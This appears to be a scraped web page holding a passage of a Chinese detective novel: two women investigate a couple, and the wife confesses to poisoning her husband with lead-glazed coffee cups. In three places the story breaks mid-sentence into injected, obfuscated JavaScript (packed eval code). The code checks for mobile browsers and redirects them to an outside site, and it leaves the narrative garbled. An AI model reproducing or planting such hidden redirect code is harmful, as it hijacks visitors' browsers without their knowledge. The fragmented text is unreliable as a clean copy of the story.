“预订两张最早的车票，对了，我想问问下午的，是的，小姐，还是里士满和伦敦之间。” “我看看，下午有一趟从里士满到伦敦的，一点到，五点有一趟相反的。剩下的就是晚上的了。小姐。” “好的，感谢您。”我挂断电话。 简似乎又陷入了沉思，她想东西的时候，要么喜欢把玩点火器，要么就喜欢扣桌子。 “弗瑞，你觉得我们这到车站要两个小时吗？” “大概半个小时左右吧。”我虽然摸不着头脑，但还是回答了。 简没说话，我也没打扰，而是看她翻出的档案。 是关于沃尔特汽车公司的。 沃尔特汽车的工厂在中部伯明翰，而销售总部则是在梅菲尔区。 明显的走高端定制路线，面向一切可能的豪绅，富商，贵族等有力购买者。 “距离挺远的，也难怪沃尔特夫人认为她丈夫明天才回来？”简又没头没尾的说。 读者们，这并不是抱怨，而是身为老友的无奈。简她总是这样，思维跳跃，并希望其他人跟上她没头没尾的话题。 “可是，弗瑞，你总会接上我的话。” “因为我接不上的时候，你过后就会给我解释。简。” 这个时候，简就会眨一眨她浅绿色的眼睛，然后调笑着转移话题。 抱歉，我又说远了。 回到当时。 “什么？”我开始有些迷惑，但立刻反应过来了。 作为老板，沃尔特先生再不管事，也一定需要往返工厂和总部，而夫人说‘明天！我丈夫会在家！’ 也就是说，她认为他丈夫现在不在家！ 但是！沃尔特先生明明…… “好了，弗瑞，别想了。”简披上她的风衣，过来拉我，“我们去看车吧！” 说实话，我都弄不清楚，简说去看车到底是心血来潮还是为了案子调查。 因为简当时带着我直奔梅菲尔区沃特汽车公司的总部。 作为一位接受古板教育的淑女，在我之前的认知里，是不可能存在开着这种新奇的事物到处奔走的。 但是，时代在变化，不是吗？ 一切都很新奇，简倒是兴致勃勃的。 但是，这里只有几辆展示用车，导购员小姐热情的替我们做讲解和推销，并给我们一人一本选购册子。 明显看出来我不太懂，导购员小姐将全部的火力对准了简（我感觉简也是有意的）。 总之，她们热情的攀谈起来了。我则是在一旁喝着茶耐心地听着。 “我们公司使用的都是最新的技术？” “是吗？什么新技术？小姐，您可以和我说一说吗？”简甚至还笑了笑。 要知道，她虽然不太打扮，但长得很优秀，一双绿色的眼睛，独特的气质，要是她特意想获取某人的好感的话，那并不难。 简的笑容似乎让导购员小姐更热情了，她身体微微前倾，眼神发亮：“哦，小姐，您真是问到了点子上！” 19. 2.2 上帝啊，简只是笑了笑，问了个问题而已！但这位小姐的热情简直要把我们淹没了。 “我们沃尔特汽车，用的艺术工艺与最前沿工业技术！让我为您和您的朋友详细介绍一下！” 她飞快地瞥了我一眼，大概觉得我只是个陪衬，火力又迅速集中回简身上。 “首先，最革命性的！” 她声音拔高，带着激动，“我们采用了最先进的‘福特式’流水线装配技术！您能想象吗？就是……在伯明翰我们新建的，巨大的工厂里，”她用手臂夸张地比划了一下“巨大”这个词。 “汽车像河水一样在线上流动，每个工人只负责一小块儿，熟练得不得了！速度比老方法快了好几倍呢！” 这更是新奇，我之前只听说过他们把几个巨大的机器分开制造然后组装到一起，怎么能像水流一样制作呢？ 简显然知道，她看了看我，小声地在我耳边说，“来自美国的，除了加快生产，剥削工人，没什么新奇的。” 然后她抬起头，对导购员小姐微笑，“我在和她解释，小姐，那确实挺不错的。但我想，这需要不少成本，而且…那安全吗？” 导购员小姐笑容顿了顿，“当然了，小姐，要建立这样一套现代高效的生产体系，前期的投入……那可不是个小数目。”她语速飞快地接上，好像生怕我们被吓跑，“但我们沃尔特先生眼光长远得很！销量上来了，一切都不是问题。”她说的时候，手指不自觉地捻了捻宣传册的页脚。 “至于安全，我们领先推出了全封闭式车身设计！告别那些尘土飞扬，风雨交加的敞篷车日子吧！坐进这里，”她轻轻拍了拍展示车光滑的车顶，“绝对安全无忧！” “当然，”她话锋一转，笑容依旧，但语速又快了半分，“这种结构，对材料和工艺的要求……那是极高的，成本…嗯，物有所值嘛！”她飞快地补充道，仿佛在说服自己。 “您问市场反馈？哦，那些追求极致舒适和体面的绅士淑女们非常欣赏！他们懂！”她用力点点头，随即又露出一丝恰到好处的，混合着无奈和推销员特有韧劲的表情。 “不过……（她的声音低了一点）也有一些更……‘怀旧’的客户，还在念叨敞篷兜风的‘自由感’。改变观念总是需要时间的，您说对吧？但我们坚信，封闭式，才是未来！”我注意到她说“需要时间”时，眼神飞快地扫过简，似乎在看她的反应。 简则是耐心听着，时不时点点头，“当然，当然，你们确实足够革新，我想我会喜欢的。” 听了简的话，那位小姐几乎算得上是如释重负。 “那可真是太好了。小姐，你要买的话，可一定要早点排单啊。” “不过，我很好奇，像这样持续地研发新技术，升级庞大的生产线，对公司的现金流……要求一定非常高吧？尤其是在当下？” 导购员小姐脸上的笑容有那么一瞬间，真的，就一瞬间，显得无比僵硬。但立刻，更明亮，更坚定的笑容取代了它。 “哦！小姐您多虑了！”她的声音提高了，带着一种不容置疑的自信，“沃尔特先生是位极具远见和魄力的实业家！公司发展势头正劲，财务状况非常稳健！您完全不用担心！” 她语速极快，像背书一样，然后迅速把话题拉回到图册上，“您看这个内饰细节……” 我和简交换了一个眼神。 嗯，非常稳健。当然。 我低头喝了口已经凉掉的红茶。 我们最终是在导购员小姐的热情相送中离开的。但我们到门口的时候，她还在劝我们（主要是简）尽早排单。 “哦…这可真是…简？”我叫了叫身旁的人，抬头看她，她显然又在思考。 “弗瑞，我在思考该买辆什么样的车，不得不说，沃尔特汽车确实挺先进的。”简回神。 “好吧好吧。”我笑了笑，“看来对我们的里斯克小姐来说，车子可比案子的吸引力还大。” “放过我吧。我可有在思考案子。”简伸出手拉了拉我，甚至还摇了摇，“至少我们知道沃尔特公司的财务并不友好，不是吗？” 好吧，亲爱的读者，简她总是会在一些意想不到的地方任性（其实也不是）。 所以，那天用了晚饭，我们几乎什么也没干（也没什么要事），就关注着买车了。 “弗瑞，果然还是黑色吧。” 说这句话的时候，我和简在考虑车子究竟要什么颜色的。 说真的，但凡简可以把这架势放在自己的打扮上…… 但是，这正是简的独特之处，不是吗？ 第二天，我和简搭乘预定好的最早的一班火车去往了里士满区，到的时候都将近下午一点了。 “真是糟糕的体验！”我不由得说道，即使我和简是单间，如此漫长的车程也让人不舒服。 “看来得把买车加快日程了！”简接过我手里的箱子，扶着我说。 我们并没有直接去沃尔特庄园，简先是带我找了附近的一个小酒馆。 我现在已经适应这种场合了，只要突破那层所谓的淑女枷锁，就会发现其实也没什么。 “下午好？店主，麻烦可以来半品脱当地啤酒吗？”简熟练地靠在柜台上，她看向站在的我，我摇了摇头。 “当然可以，小姐。” 店主熟练地给里斯克倒了一杯啤酒。 简则是推过去了一个英镑。 “零钱你留着吧。”简这么说着，顺便喝了一口，我看到她皱了皱眉，然后不动声色地把杯子放下了（也许不符合她的口味？）。 店主看了一眼简和我，收下了英镑，手里的动作却没停，“你们想知道什么？” “我们来谈一谈沃尔特夫妇，就是附近庄园里的……”简带着笑意问。 “哦哦，沃尔特夫妇，你们为什么不问问那边喝酒的人，他可是沃尔特庄园的家仆。” 我和简同时回头。 顺着店主示意的方向望去，吧台角落的阴影里，确实坐着一个穿着虽旧但浆洗得还算挺括衬衫的老人（约莫六十多岁）。 他面前的杯子几乎空了，手指无意识地摩挲着杯沿，眼神有些涣散，整个人透着一种被生活长久浸泡后的疲惫和一点未消散的酒意。 “再来一杯。” “当然，小姐。” 简端起她两杯本地啤酒，自然地走了过去。 我紧随其后，找了个邻近的高脚凳坐下。 “下午好，”简的声音不高，带着一种恰到好处的随意，既不会惊扰对方，又足够清晰。 “能请您喝一杯吗？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973591|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 男人有些迟钝地抬起头，浑浊的眼睛里先是茫然，随即是戒备，最后落在简推过来的啤酒杯上，那戒备便融化了大半，变成了困惑和和对酒精的渴望。 他舔了舔有些干裂的嘴唇，声音沙哑，“小姐？我们……认识？” “不认识。只是刚来里士满，听店主说您在沃尔特庄园做事。” 简笑了笑，笑容里带着一种坦率，让人难以拒绝，“我们对那附近挺感兴趣，想了解点风土人情。方便聊聊吗？” 男人的目光在我和简之间看了看，似乎判断着我们的来意。 或许是简那双浅绿色眼睛里的坦诚（或者说是她刻意营造的坦诚），也或许是那杯金黄液体的诱惑，他最终点了点头。 “老约翰，”他含糊地报了个名字，端起杯子狠狠灌了一大口。 “在沃尔特家干了快三十年了。从老主人那时候就在。”他放下杯子，杯底在木桌上磕出轻响，眼神似乎也清明了一点。 “三十年？那可真是老资历了。” 我适时地接话，语气温和，带着一点敬佩，“那您一定见证了不少庄园的变迁吧？听说沃尔特先生和夫人是里士满有名的模范夫妻？” 说实话，我不知道沃尔特夫妇是不是模范夫妻，但你想知道什么，总得给人家反应机会，无论是否认还是肯定。 “模范夫妻？”老约翰重复着这个词，他又喝了一口酒，这次慢了些，眼神飘向酒馆窗外，仿佛透过岁月，看到了过去。 “三年前……是的，那时候，是真的。没人不说他们是天造地设的一对。” 他的声音低沉下去，带着回忆，“少爷年轻有为，英俊，有野心。夫人……那时候多美啊，像朵沾着晨露的玫瑰，又温柔又美丽。他们看对方的眼神……” 他可能又开始迷糊了，整个人昏昏沉沉的。 简的手指在吧台上轻轻叩了一下，那是她专注思考时的习惯动作。 “那么，现在呢？” “现在…？”被酒精冲昏头脑的老人，不由自主地顺着简的引导，“听听这地方穿的风言风语吧！沃尔特家的名头都要烂到地里了！” “夫人整日待在育儿室发呆，少爷一直在公司跑，老爷要是还在，听见那些事情准会指着所有人鼻子骂！”老约翰几乎要落泪了。 “育儿室，也就是说，沃尔特夫人有一个孩子？”简迅速地问道。 但老人明显不想谈论这个话题，仍旧絮絮叨叨着曾经两个孩子是有多么恩爱，“夫人喜欢在花园里插花，少爷就陪着她，哪怕只是看着。他们一起骑马，去伦敦看戏，参加舞会……” 这些东西没什么意义，老人明显都迷糊了，我和简打算换个人再问问。 在我们正准备离开的时候。 老约翰打了个酒嗝，眼神有些迷离，带着一种看透世事的苍凉，“多么恩爱啊…爱得死去活来…，互相给对方买了保险。很大一笔钱！受益人就写的对方的名字！那时候是浪漫，是承诺……” “什么？你说的是真的吗？”简立刻凑近老约翰，“你怎么知道的？” “嘿嘿…我当然知道！我可是沃尔特家的老人了！几乎是看着他们长起来的！” 然后他又开始念叨着岁月了，说起年少时的姑娘，老主人的美名，感慨世风日下。 20. 2.3 简的手指又在吧台上轻轻叩了一下，那声音很轻，几乎被酒馆里的嘈杂淹没。 她冲我使了个眼色，我暗暗松了口气，说实话，对着一个沉浸在几十年前荣光里的醉老头，比应付那个热情过度的导购员小姐还累人。 我刚准备从高脚凳上下来，就在这时，异变突生。 刚才还昏昏沉沉，仿佛随时要睡过去的老约翰，猛地抬起了头！ 他布满皱纹的手死死抓住了简正要收回的手腕，力气大得连我都吓了一跳。 “小姐！”他声音嘶哑，压得很低，就像是在说什么不可告人的秘密。 “…那保险！…是…是…”他急促地喘息着，仿佛这几个字耗尽了他残存的所有力气，眼神死死锁住简，“…是五万英镑！一个人！五万！！” 他抓着简的手在剧烈地颤抖。 “五万英镑……”他喃喃重复着，声音低下去，变成了梦呓般的呻吟，眼神再次涣散开，抓着简的手也颓然松开，无力地垂落下来。 他整个人软软地趴在了油腻的木桌上，额头抵着冰冷的桌面，只剩下粗重的喘息声。 酒馆里嘈杂依旧，划拳声，谈笑声，杯盘碰撞声。只有我和简，僵在原地。 五万英镑！一个人！ 上帝啊！ 这绝对是一笔足以让任何人铤而走险，甚至……做出任何事情的巨款！ 甚至关于财务紧张的猜测，在这天文数字面前，简直成了无关痛痒的玩笑。 我下意识地看向简。 她正缓缓收回被老约翰抓过的手腕，白皙的皮肤上留下了几道清晰的红痕。 她脸上惯常的平静和思索不见了，取而代之的是一种冰冷的锐利。 吧台后的店主似乎终于注意到了这边的动静，探过头来，皱了皱眉，“又喝趴下了？老约翰最近……唉。” 他摇摇头，一副见怪不怪的样子，“两位小姐别介意，他年纪大了，又……心里苦。” 简终于把视线从老约翰身上移开，转向店主时，脸上已经恢复了那种恰到好处的，带着点歉意的温和微笑。 “我们没事，店主先生。只是看他突然不舒服，吓了一跳。他……经常这样吗？” “唉，以前还好，就这半年多，心事重了，喝得也更凶了。” 店主叹了口气，拿起一块抹布擦了擦吧台，“沃尔特家……唉，不说了不说了。两位小姐，还要点别的吗？” “不用了，谢谢您。”简的声音依旧温和，但我知道，她和我一样不平静。 她轻轻碰了碰我的胳膊肘，“弗瑞，我们该走了。我想……我们需要尽快去拜访一下沃尔特庄园了。” 我点点头，感觉喉咙有点发干。 走出昏暗嘈杂的酒馆，阳光刺得我眯起了眼。 里士满的街道看起来宁静而慵懒，远处沃尔特庄园的方向，绿树掩映下的屋顶在阳光下闪闪发光。 我搓了搓手臂上不知何时冒出来的鸡皮疙瘩，低声对简说，“天呐……五万英镑……简，这……” 简没有立刻回答。 她站在酒馆门口的石阶上，目光投向沃尔特庄园的方向。 她没有看我，神情严肃。 “弗瑞，准备好。 …… 阳光慷慨地洒满沃尔特庄园的会客室，在光洁的面上流淌，照亮了空气中细小的尘埃。 玛格丽特·沃尔特夫人坐在宽大的丝绒沙发里，像一朵失水过度的温室玫瑰。 即使包裹在精致的衣袍中，她依旧显得脆弱不堪。 她的丈夫，亨利·沃尔特先生，我们见过的那个男人，则呈现出一种截然不同的姿态。 他穿着剪裁无可挑剔，安然坐在壁炉旁的扶手椅里，手中摊开一份《泰晤士报》。 但他稀薄的头发，和苍白的面容，也说明了他的憔悴。 看到我们随管家进来，他放下报纸，从容起身。 “里斯克小姐，本小姐，欢迎光临。玛吉和我说了，会请你们来陪她，”他微微欠身，“玛吉的事情……实在让我心力交瘁。” 他的笑容恰到好处，混合着疲惫与令人信服的歉意，像位被家庭重担压得喘不过气却又竭力维持体面的绅士。 至于他紧接着自己妻子进入我们事务所的事情，他绝口不提，似乎之前类似威胁的事情完全不存在。 “亨利！”玛格丽特夫人猛地抬起头，声音尖利。她夸张地高喊着，“心力交瘁？你心里恐怕日夜盼着我消失吧！好和那女人…” “玛吉！亲爱的，你又开始说这些让人伤心的话了……”沃尔特先生的声音似乎充满了无奈和痛苦。 他转向我们，眼神里是纯粹的寻求理解，“你们看到了，这就是她现在的常态。自从……我们经历了那场无法弥补的失去之后，” 他声音低沉下去，带着难以言喻的悲伤，“她的情绪就一直…时好时坏。最近更是…” 他重重叹息，闭了闭眼，再睁开时，里面盛满了浓得化不开的担忧，“医生诊断是严重的焦虑症，伴随强烈的被害妄想。他建议玛吉必须在家静养，需要最精心的看护，甚至……” 他顿了顿，语气放得极轻，带着不忍，“在情况必要时，考虑更专业的疗养环境。” 玛格丽特夫人的身体剧烈地颤抖了一下。 她猛地低下头，整个人不言不语。她的目光，死死盯着沃尔特先生面前茶几上那杯正冒着袅袅热气的咖啡，仿佛那能让她好受些。 管家哈里斯先生给我们送来了红茶。 没过多久，亨利先生接到“来自伯明翰工厂的紧急电话”迅速地出门了。 整个房间的氛围才开始变好了一点。 简去找管家还有仆人聊聊，我则安静地坐着，陪着沃尔特夫人。目光看似随意地掠过这间华丽的房间。 “说起来，夫人貌似很喜欢瓷器呢？”我试图找些不那么刺激的话题。 而房间摆着的各种各样的瓷器则成了我的突破点。 “什么？不。是亨利喜欢。”沃尔特先生离开后，夫人的情绪逐渐安定下来了，甚至看不出有什么问题。 她端起茶几上的咖啡瓷杯，看着上面漂亮的釉彩，神情莫名，“他总喜欢这种华而不实的东西。” 这话说的，让人没法接。 “那夫人喜欢什么？”我尽力维持笑意。 “喜欢…喜欢属于我的！”沃尔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973592|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 特夫人抱着瓷杯，用勺子搅动了几下，声音低低的。 “什么？”我确认道。 “本小姐，你应该去调查我的丈夫，确认我的安全！而不是！在这里问东问西！” 她仿佛突然开始崩溃，然后就是落泪，哭泣，快速地跑开。 啊！上帝啊！ 这可真是…… 我和简的房间被安排到了三楼，两个房间相连，请求管家哈里斯先生将晚饭送到房间之后，我拖着疲惫的身体回房间。 “简？”我在二楼往三楼的楼梯间看见了她，她显然在等我。 “弗瑞，也许我们需要整理一下信息。” 进了房间，简和我说她打听到的东西。 “就像老约翰说的，变故是在三年前。” 三年之前。 沃尔特夫妇还是一对完美爱侣，年少相识的青梅竹马，亲上加亲的家族联姻。 没有人不称赞他们的爱情。 但是变故发生了。 或许是在那之前。 那个汽车公司，像头不知餍足的巨兽，把沃尔特整个儿吞了进去。 伯明翰的新工厂，没日没夜地赶工，沃尔特三天两头就得往那边跑，一去就是十天半个月，庄园里常常只剩下玛格丽特。 “而那个时候，她怀着孕！弗瑞！一位女性，在她怀孕的时候，失去孩子的时候，悲痛欲绝的时候，她的丈夫却毫无踪影！”简明显是生气了。 确实！怎么可能不生气！ 而那个男人给的理由，是那天有重要应酬！甚至是事情发生两天之后！才回来！ 即使他表现的再温和体贴，悲痛欲绝，也没法挽救玛格丽特那颗冷却的心。 “但是更糟糕的来了。”简说这个的时候忍不住按了按眉心。 不知哪里来的风言风语，有人说…说沃尔特夫人是因为先生总不在家，耐不住寂寞，跟……跟别人有了那个孩子！结果出了事，受了刺激！ 还有人说……沃尔特夫人精神本来就不太正常，有家族遗传的疯病，孩子没了就彻底发作了…… “听听！弗瑞，这些流言蜚语！它们在对一个失去孩子的女人围追堵截！”简忍不住握紧了拳头。 上帝啊！ 可怜的玛格丽特！ 她该有多么悲痛啊！ 而流言，让她辩无可辩！ 至于丈夫！ 他只是一味地疲于公司，留宿外面，并让她治疗，说为她好！ 而现在，财务的问题将他们都推到了崩溃的边缘，妻子指控丈夫要谋杀，而丈夫，似乎在逐渐把妻子打造成一个疯子。 沉默在我们之间蔓延，沉重得如同浸透了水的羊毛毯。 窗外，夜色笼罩了这个庄园。 我和简用完餐，哈里斯管家来收盘子。 “哈里斯先生，沃尔特先生还没有回来吗？”简开口问。 “没有。可能今天也不会回来了。”这位在沃尔特家工作多年的管家的语气有些无奈。 “夫人呢？”我忍不住问。 “在育儿房。唉…” 管家摇了摇头，背影充满了无奈。 窗外，下雨了。 21. 2.4 天色还早，我看了看怀表，才五点左右。 这个时间点，我的教养可不允许我去打扰别人（尤其是当你作为客人的时候），那并不礼貌。 所以我独自一人下楼了。 我没想到我会在大厅看见简。 昏暗的烛光下，她又在沉思，浅绿色的眼睛似乎在向我的方向聚焦（她只是需要一个点），手在无意识的叩动着。 我没打扰她，而是在她旁边坐下。 “弗瑞？”简明显在我下楼梯的时候就发现了，但她也没说什么。 这个时候我才看到她手边有一个漂亮的瓷杯，但里面什么都没有。 “好吧，不知道我是否有幸知道是什么值得我们的里斯克小姐不休息在这思考？” 简又眨了眨她浅绿色的眼睛，她朝我笑了笑，但我可不能让她蒙混过关，“简，也许你知道现在是休息时间？” “呃…弗瑞…我只是有一些睡不着。”简无奈地说。 “好吧…”我叹了口气，也不再说什么。 简的作息并不好，或者说，在思考案子的时候，她总是不在意自己的身体，在我与她共同居住的时候，我不止一次遇见她这样了。 我时常惊叹这样子的她竟然有如此优秀的身体素质与健康。 “弗瑞，你认为沃尔特夫人是一个什么样的人？”简突然靠近问我。 “我想想，一个可怜的女子吧。失去孩子，陷入流言，而她的丈夫……” “是的是的。”简应道。 然后，她拿起了她手边原先的瓷杯，有着鲜艳漂亮的瓷釉。 “对了，亲爱的弗瑞，你认为这个瓷杯怎么样？”简把玩着杯子。 “漂亮。”这是我的第一反应。 “是的，就像他们的婚姻。”简莫名其妙地感叹着。 但我知道，她一定是分析出了什么我不知道的东西。 等到仆人都陆续起床干活。 简立马风风火火的走了，她说她得再和老约翰聊聊，至于打扰，她说这是不可避免地。 而我，自然也不可能再去休息。 我打算去找一下沃尔特夫人，管家先生听了我的请求，无奈地把我引向了育儿室。 亲爱的读者，你们知道那画面是有多么的诡谲和令人心碎吗？ 巨大的育儿室，装饰着各种鲜艳漂亮的手作画，堆满了各式各样的玩具，但是，给人的感觉，就是空空荡荡的。 房间并不明亮，或者说，它根本就没有开灯，而是由无数的，晃动的，跳跃的烛火照亮着（也许东方把这种称作长明灯）。 可怜的玛格丽特，披头散发，穿着睡袍，枯坐在最中心，手里抱着两个娃娃。 也许一个是她的孩子，另一个代表谁？ 我控制不住地开始思考到这个房间是否真的是一个好的选择。 “沃尔特夫人？”我小心翼翼地开口，尽量不去刺激她。 玛格丽特·沃尔特夫人就那么抬头看着她，她很平静，没有歇斯底里，“我本应该有一个属于自己的孩子。还有美满的婚姻。” “我是一个完美的妻子，我顾家，忍耐，等待……我是一个完美的妻子…为什么呢？” 她不像神经质，说实话，我感觉她现在清醒得可怕。 她像在问我。 又像是在问她自己。 玛格丽特·沃尔特。 “夫人…”我尝试叫她，她却怪异地朝我笑了。 “本小姐！你认为我是疯子吗？” 这位美丽的，面容憔悴的夫人，如此直白地问我。 “当然不，夫人。” 上帝啊。 我完全不知道要怎么形容我当时的感觉，当初爬烟道的时候明明比这更惊险，更黑暗，但我感觉现在更令我心悸。 不是出于害怕。 而是出于一种我无法诉说的心理。 因为玛格丽特·沃尔特夫人，她笑了。 “所以，你们会帮我的，对吗？” 帮她什么？ 调查她丈夫，证明她丈夫要谋杀她？ 还是…… 这场对话，最终以沃尔特夫人的快速跑开而结束。 因为，从昨天下午到现在，沃尔特先生终于回来了。 当我到楼下的时候，简已经在了，她冲我招了招手，我站到了她的旁边。 说实话，这可真是一场闹剧。 一切刚开始都很正常。 沃尔特夫人贴心地给她劳累疲惫的丈夫端上了咖啡，用着他丈夫喜爱的漂亮的瓷器杯。 然后，争吵爆发了！ “你！亨利！你竟然！那女人……” “玛吉！你又在胡言乱语了！” 我说过的，沃尔特先生的脾气似乎异常暴躁，双方都开始提高音量，争执，然后就扭打在一起。 简开始只是观察着，但是当一切都开始混乱的时候，她率先动了，她利落地拦在了这对崩溃的夫妻中间，区区几秒，她就制住了沃尔特先生挥出的拳，以及扼住了沃尔特夫人那双乱挠的手。 管家和仆人也终于反应过来，把他们两人分别带了下去。 “简？你没事吧？！”我慌忙跑到简的身边，太糟糕了，慌乱中，沃尔特先生的那杯咖啡泼到了简的手上。 滚烫的咖啡！她的手现在已经红了！ “快上药！谢天谢地！没有起泡。” 她自己却丝毫都不在意，瓷杯掉在地上碎裂，简就那么定定的看着。 天晓得，这样一个大庄园，那么多人，竟然没有一位家庭医生！ 我还是去找的哈里斯先生，这位忠心善良的老管家。 “抱歉，小姐们。自此夫人病情恶化之后，先生就把无用的医生辞去了。” “大概是什么时候？”简敏锐地问（就好像受伤的不是她自己，真是的）。 “大概一年以前吧，说起来，先生，也是那个时候更加忙公司，变得更加暴躁了，他以前和夫人可是……” “算了，不说了。本小姐，注意不要让她沾水。”管家说这句话的时候，是直接看着我说的，估计他也知道了，简不会那么在意。 “好的。”我连忙应着，看着管家先生离开。 “简，你听见了没？注意不要沾水！”我拉过简的手，叮嘱道。 “知道了。”简带着一种讨饶的意味笑笑。 “真是一场闹剧，沃尔特先生可真是薄情寡义。”我这么说着，坐到了简的身旁。 “哦？你说说？”简带着笑意问（她就是故意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973593|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的）。 “不说医生，单是沃尔特夫人提及数次的那女人！” 想想吧！ 从昨天到今天这点时间，肯定不够沃尔特先生从里士满的庄园赶到伯明翰的工厂！ 那他所谓接到公司电话出去的理由…… 也许有人会说沃尔特先生指不定是去了伦敦的销售总部。 但是一个男人！说着忙于公司彻夜未归，第二天出现的时候，竟然胡子整洁，衣服干净，甚至还带着女性香水味！不是那种简单沾染上的，我感觉是完全沁出来的！ 这可真是！ 从玛格丽特·沃尔特夫人的反应来看，这显然不是第一次了！ 那女人！ 她甚至有可能知道对方是谁！ 而这样子的一个男人，亨利·沃尔特，在外竟竟然是忍受妻子不忠，包容妻子疾病，热心于事业的完美丈夫！ 甚至疾病，都有可能是莫须有的！ 简听着我义愤填膺地说着，“弗瑞，我们去见见玛格丽特吧。” “做好心理准备。”她说。 “嗯。”我应道。 其实，我隐隐约约感觉到了，只是不愿意去细想。 一个失去孩子的女人，被背叛，被议论，被逼至绝路的的女人。 该怀有多么大的仇恨。 又怎么可能依旧…… 玛格丽特·沃尔特夫人还是呆在育儿室里。 “夫人，向你问安。”简的声音里透着冷意。而我站在她的旁边。 玛格丽特·沃尔特夫人缓缓抬起头，烛光在她憔悴的面容上跳跃。 她看起来比刚才更疲惫，但那种令人心悸的清醒感依然存在，甚至更深沉了。 “里斯克小姐，本小姐，怎么了？”她的声音很轻，带着一种刻意维持的平静，目光扫过简包扎着的手，“看来……咖啡很烫？” 简没有理会这近乎嘲讽的问候。 她上前一步，动作不大，却带着一种不容置疑的压迫感。 她的左手（没有被烫到的那只），摊开着。掌心躺着一块瓷器碎片，正是刚才摔碎的亨利·沃尔特喜爱的那个彩釉瓷杯的一部分。 鲜艳的釉彩在烛光下折射出妖异的光泽，内壁光滑，带着咖啡留下的深色渍痕。 “夫人，”简的声音不高，但异常清晰，“能告诉我，为什么沃尔特先生偏爱的这套瓷器，釉彩如此……厚重吗？” 玛格丽特抱着娃娃的手指骤然收紧。 她脸上的平静像被一种更深沉更复杂的东西取代。 是惊惧？释然？还是被看穿后的疯狂快意？ “里斯克小姐，你们比其他人都聪明。”她在笑着。 “感谢你的夸奖，但这很明显，夫人，你并没有遮掩，”简的嘴角勾起一丝没有温度的弧度。 “毕竟一年前，在沃尔特先生开始变得‘异常暴躁’，同时辞退了家庭医生之后，他每天早晨那杯提神的咖啡，都必须由您亲手奉上，并且只用这一套特定的杯子？” 空气仿佛凝固了。 育儿室里无数烛火的光芒似乎都集中在了简摊开的手掌上，集中在那块闪烁着危险光芒的碎片上。 “当然，你们愿意帮我吗？”她抱着两个娃娃，笑着，从容地说。 22. 2.5 “不！夫人。”简将瓷器碎片收了起来，“你没必要找我们。” “我们从一开始就什么都不知道。”简这么说着，并打算带着我离开。 “我是一个完美的妻子。”她笑着。 玛格丽特的身体开始微微发抖，猛地将怀里的两个娃娃狠狠摔在地上！ “完美！”她的声音陡然拔高，尖利可怖，带着积压了数年的血泪与恨意，“我是一个完美的妻子！没有人比我干得更好！但是！那个虚伪，薄情，恶毒的禽兽！” 她站起身，睡袍的下摆扫过地板，像一个从烛火地狱中走出的复仇女神。 “他夺走了我的孩子！用他该死的工厂！用他永远忙不完的应酬！在我最需要他的时候，他在哪里？在哪个婊子的床上？！”她的胸膛剧烈起伏，每一个字都带着极端的恨意，“然后呢？流言像毒蛇一样钻进庄园！说我疯了！说我不贞！说我的孩子是个野种！而他！我的好丈夫！他做了什么？他躲得更远了！他用那些恶心的香水味玷污我的家！他想要把我永远关在这座华丽的坟墓里，像看管一个真正的疯子！” “当人们指责一个女人过于空虚而不忠的时候，为什么不想想她的丈夫！为什么总是流连于外面！他背叛了我！他本应该属于我！我的失去孩子！可他不关心！有那么大把的人！为了他的公司！他要钱！他需要我死！要我是疯子！” 此刻，她癫狂的样子，看起来真真正正的…… 她的手指突然直直指向简手中的瓷片，眼神狂热而怨毒。 “他喜欢漂亮的东西？看啊！多漂亮！像他的谎言一样漂亮！像他的虚伪一样光彩夺目！既然他这么喜欢……既然他这么需要那些华而不实的玩意儿来装点他那颗腐烂的心……那我就让他好好享受！” 她发出一声短促的，嘶哑的，近乎非人的笑声。 “铅……里斯克小姐，你很聪明……是的，铅！那些漂亮的釉彩里，有足够多的铅！日复一日，随着他心爱的热咖啡，流进他的喉咙，渗进他的骨头，啃噬他的脑子！让他变得暴躁，易怒，健忘，……让他也尝尝被一点点蚕食，一点点摧毁的滋味！这不是很公平吗？嗯？！” 我胃里一阵翻江倒海。 虽然隐隐有了预感，但亲耳听到这冷酷，精密，漫长的复仇计划被赤裸裸地揭露，冲击力依旧让我头晕目眩。 一个被逼到绝路的女人，竟用如此……如此不动声色又如此致命的方式反击。 简微微停顿，目光扫过这间充满死亡象征的育儿室，最后落回玛格丽特那张交织着疯狂与清醒的脸上。 “我们不是第一批被卷入这场互相谋杀游戏的侦探，对吗，夫人？你让我们这些‘热心的’外人，成为你棋盘上的棋子，成为你对抗亨利·沃尔特，甚至……加速他毁灭的见证者和催化剂？”简说。 “夫人，我不明白你为什么要找我们？”我忍不住问，她明明可以让一切都无声无息。 